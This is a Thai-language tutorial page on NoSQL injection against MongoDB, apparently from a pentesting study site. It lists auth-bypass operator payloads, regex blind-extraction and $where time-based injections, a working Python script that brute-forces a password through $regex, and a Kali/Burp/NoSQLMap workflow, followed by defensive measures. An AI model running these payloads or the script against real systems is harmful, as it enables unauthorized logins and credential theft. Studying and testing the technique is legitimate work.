NoSQL Injection
NoSQL Injection เกิดเมื่อ input ของผู้ใช้ถูกส่งเข้า query ของฐานข้อมูล NoSQL (เช่น MongoDB) โดยไม่กรองชนิดข้อมูล ทำให้แทรก operator ($ne, $gt, $regex, $where) เพื่อ bypass auth ดึงข้อมูลแบบ blind หรือรัน JavaScript ฝั่งเซิร์ฟเวอร์ บทนี้เน้น MongoDB ที่พบบ่อยสุด ครอบคลุมทั้ง operator injection ผ่าน JSON และ query-string, blind extraction ด้วย regex และ server-side JS injection
1. หลักการ
MongoDB query เป็น JSON/object และมี operator ขึ้นต้นด้วย $ เช่น $ne (not equal), $gt (greater than), $regex, $where ต่างจาก SQLi ตรงที่ไม่ได้แทรก 'string คำสั่ง' แต่แทรก 'โครงสร้าง object' — ถ้าแอปรับค่าจากผู้ใช้แล้วเอาไปเป็น value ใน query object ตรงๆ โดยไม่ cast เป็น string ผู้โจมตีส่ง object ที่มี operator แทนค่าธรรมดาได้
ตัวอย่าง query login: db.users.find({user: input_user, pass: input_pass}) ถ้า input_pass กลายเป็น {"$ne": null} เงื่อนไขจะเป็น 'password ไม่เท่ากับ null' ซึ่งจริงเสมอ → คืนผู้ใช้คนแรกโดยไม่ต้องรู้รหัสผ่าน
| operator | ความหมาย | ใช้ทำ |
|---|---|---|
$ne | not equal | auth bypass (!= null/x) |
$gt / $lt | มากกว่า / น้อยกว่า | bypass + blind extraction |
$regex | จับคู่ pattern | ดึงข้อมูลทีละตัวอักษร |
$in / $nin | อยู่ใน/ไม่อยู่ใน set | เดาค่าจากลิสต์ |
$where | รัน JS นิพจน์ | server-side JS injection |
$exists | field มีอยู่ไหม | enumerate schema |
2. สังเกตและทดสอบ
- แอปใช้ MongoDB/Node.js/Express (ดู stack, header, error) — pattern พบบ่อยสุด
- ใส่
'หรือ"แล้วพฤติกรรมเปลี่ยน หรือเจอ error ของ Mongo (MongoError,CastError) - ลองแปลง parameter ปกติเป็น operator object แล้วดูว่าผลต่างไหม
- auth bypass เป็นจุดทดสอบยอดนิยม — ลอง
{"$ne":null}ทั้ง username/password - ทดสอบทั้ง 2 ช่องทาง: JSON body และ query-string array (
param[$ne]=x)
# ค่าปกติ vs operator — เทียบผลลัพธ์
# baseline
{"username":"admin","password":"wrong"} → 401
# operator injection
{"username":"admin","password":{"$ne":"x"}} → 200 = มีช่องโหว่
# query-string (framework ที่ parse array เช่น qs/Express)
username=admin&password[$ne]=x → เทียบผล
username[$ne]=&password[$ne]=3. Payload
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$ne": "x"}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": null}}# บาง framework (Express + qs) parse bracket เป็น nested object/array
username[$ne]=null&password[$ne]=null
username=admin&password[$ne]=x
# บางเวอร์ชันต้องใช้ [$ne]= (ค่าว่าง) หรือ [$gt]={"username": "admin", "password": {"$regex": "^a"}}
// login ผ่าน = ตัวอักษรแรกของ password คือ 'a'
// ไล่ ^b, ^c, ... แล้วต่อ ^aa, ^ab, ... จนได้ครบ
{"username": "admin", "password": {"$regex": "^admin_secret$"}} // ยืนยันเต็มค่า{"$where": "this.password.length > 8"}
{"$where": "this.username == 'admin' && this.password.match(/^a/)"}
// บางแอปยิง sleep เพื่อ blind แบบ time-based:
{"$where": "sleep(5000)"}4. สคริปต์ดึงข้อมูลอัตโนมัติ
import requests, string
URL = "https://target/login"
CHARSET = string.ascii_letters + string.digits + "_-!@#$"
def login_ok(regex):
r = requests.post(URL, json={"username": "admin",
"password": {"$regex": regex}})
return "dashboard" in r.text # differentiator ของหน้า login สำเร็จ
def extract():
found = ""
while True:
for c in CHARSET:
esc = c if c not in ".*+?^$()[]{}|\\" else "\\" + c
if login_ok(f"^{found}{esc}"):
found += c
print(found)
break
else:
break # ไม่มีตัวอักษรถัดไป = จบ
return found
print(extract())5. ข้อผิดพลาดที่พบบ่อย & ป้องกัน
- ส่ง operator แต่ Content-Type ไม่ใช่ JSON → ถูกอ่านเป็น string ธรรมดา (ไม่ทำงาน)
- ลืมลอง query-string array — บาง framework parse bracket ต่างกัน
- regex ไม่ escape อักขระพิเศษ → blind extraction เพี้ยน
- คิดว่า $where ใช้ได้เสมอ — MongoDB ใหม่ปิด server-side JS โดย default
- ป้องกัน: validate/cast input เป็น string เสมอก่อนเข้า query, ปฏิเสธ key ที่ขึ้นต้นด้วย
$หรือมี., ใช้ schema validation (mongoose ที่ระบุ type), ปิด$where/server-side JS, ใช้ mongo-sanitize
6. Quick Reference
- MongoDB operator:
$ne $gt $lt $regex $in $where $exists - auth bypass:
{"password": {"$ne": null}} - query string:
password[$ne]=null(ถ้า framework parse array) - blind extraction:
$regexไล่ทีละตัวอักษร (^a,^ab, ...) $whereรัน JS → server-side JS injection + time-based (sleep())- ต้องส่ง Content-Type: application/json ให้ operator ทำงาน
- ป้องกัน: cast เป็น string, ปฏิเสธ key ขึ้นต้น
$, mongo-sanitize
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติ backend เป็น MongoDB/NoSQL ไม่ใช่ SQL แท้ๆ (login ไม่มี error SQL แต่ backend รับ/ประมวลผล JSON) ทำตามนี้ทีละขั้น
- 1สังเกตว่า backend เป็น NoSQL: field เป็น JSON, error message พูดถึง Mongo/BSON, หรือ login ที่ query ด้วย object
- 2ทดสอบ login bypass ด้วย operator injection: ส่ง username[$ne]=null&password[$ne]=null (form-urlencoded) หรือ JSON {"username":{"$ne":null},"password":{"$ne":null}}
- 3ถ้า Content-Type เป็น JSON ต้องแก้ header ใน Burp เป็น application/json แล้วส่ง body เป็น JSON object จริง ไม่ใช่ string ธรรมดา
- 4ถ้า login ผ่านแบบ operator injection = ยืนยันช่องโหว่แล้ว ลองดึง field อื่นด้วย {"password":{"$regex":"^a"}} ไล่ทีละตัวอักษรเหมือน blind SQLi
- 5ทดสอบ $where (MongoDB JS injection): username[$where]=this.password.match(/^a/) ให้ evaluate JS ฝั่ง server (ใช้เฉพาะ lab/scope ที่ได้รับอนุญาต อาจถึง RCE)
- 6ถ้าไม่ผ่านด้วย operator มือ ลองใช้ NoSQLMap อัตโนมัติเดา field/operator แทน
- 7ถ้า WAF/backend กรอง $ ออก ลองใส่ผ่าน array param [$ne] แทน object หรือ encode เป็น unicode
- 8ถ้าดึงข้อมูลได้แล้ว (bypass login/leak field) ลองต่อว่ามี privilege escalation อื่น (IDOR/access control) ในระบบเดียวกันไหม
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| ดักจับ/แก้ Content-Type | Burp Suite | - | - |
| ทดสอบ payload มือ | curl -H 'Content-Type: application/json' | already in Kali | - |
| ยิงอัตโนมัติ NoSQL | NoSQLMap | git clone NoSQLMap + pip install -r requirements.txt | - |
| encode/แปลง payload | - | - | CyberChef |
| เรียนรู้ NoSQLi เพิ่ม | - | - | portswigger web security academy |
| crack hash ที่เจอ | hashcat / john | already in Kali | crackstation.net |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้